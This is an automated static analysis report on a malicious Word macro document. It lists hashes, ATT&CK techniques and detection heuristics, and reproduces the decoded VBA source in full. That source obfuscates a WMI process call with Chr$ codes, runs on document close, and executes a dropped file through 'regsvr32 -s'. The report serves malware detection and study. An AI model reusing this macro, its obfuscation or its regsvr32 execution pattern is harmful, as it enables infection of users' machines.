Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9a45ca1d07b87f60…

MALICIOUS

Office (OOXML)

433.5 KB Created: 2020-07-28 11:18:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: a2019e0e5e95032aae10b973ef88e566 SHA-1: 857883be36707f134df931b11fc55879c62c4c06 SHA-256: 9a45ca1d07b87f6060af99b36b116f4788a3f6648bf517cae781cb1fe53a4a57
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage the GetObject function and reference a LOLBin, indicating malicious intent. The macro attempts to save files to 'c:\ProgramData\newdel.doc' and 'c:\ProgramData\newdel.xls', and then uses 'regsvr32 -s C:\ProgramData\newdel.docmal' to execute a payload. This indicates a pattern of downloading and executing a second-stage payload.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Next K
Result = OLEWord.create("regsvr32 -s C:\ProgramData\newdel.docmal", Null, Null, processid)
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set OLEWord = GetObject(Chr$(119) & Chr$(105) & Chr$(110) & Chr$(109) & Chr$(103) & Chr$(109) & Chr$(116) & Chr$(115) & Chr$(58) & Chr$(87) & Chr$(105) & Chr$(110) & Chr$(51) & Chr$(50) & Chr$(95) & Chr$(80) & Chr$(114) & Chr$(111) & Chr$(99) & Chr$(101) & Chr$(115) & Chr$(115))
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1288 bytes
SHA-256: cd450f5e9cd03a3f96693e3e9253d8b8a9c8b71dc6da254ec85a4cf345c4c62b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private strFile
Private PathName
Private faster
Private processid
Private OLEWord
Private Result

Private Sub Document_Close()

PathName = "c:\ProgramData"
strFile = PathName & "\newdel"
ActiveDocument.SaveAs FileName:=strFile & ".doc", FileFormat:=wdFormatText, AddToRecentFiles:=False
ActiveDocument.SaveAs FileName:=strFile & ".xls", FileFormat:=wdFormatText, AddToRecentFiles:=False

Set OLEWord = GetObject(Chr$(119) & Chr$(105) & Chr$(110) & Chr$(109) & Chr$(103) & Chr$(109) & Chr$(116) & Chr$(115) & Chr$(58) & Chr$(87) & Chr$(105) & Chr$(110) & Chr$(51) & Chr$(50) & Chr$(95) & Chr$(80) & Chr$(114) & Chr$(111) & Chr$(99) & Chr$(101) & Chr$(115) & Chr$(115))

Result = OLEWord.create(ThisDocument.DefaultTargetFrame + strFile + ".doc " + strFile + ".docmal", Null, Null, processid)
Dim K
For K = CLng(Chr$(48)) To 26655
Call DateAdd(Chr$(115), K, Now)
DoEvents
Next K
Result = OLEWord.create("regsvr32 -s C:\ProgramData\newdel.docmal", Null, Null, processid)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 08b0cb7beaedad2ae8a2e73386878ec20da6bf40643072c70638f8f2b60631fe

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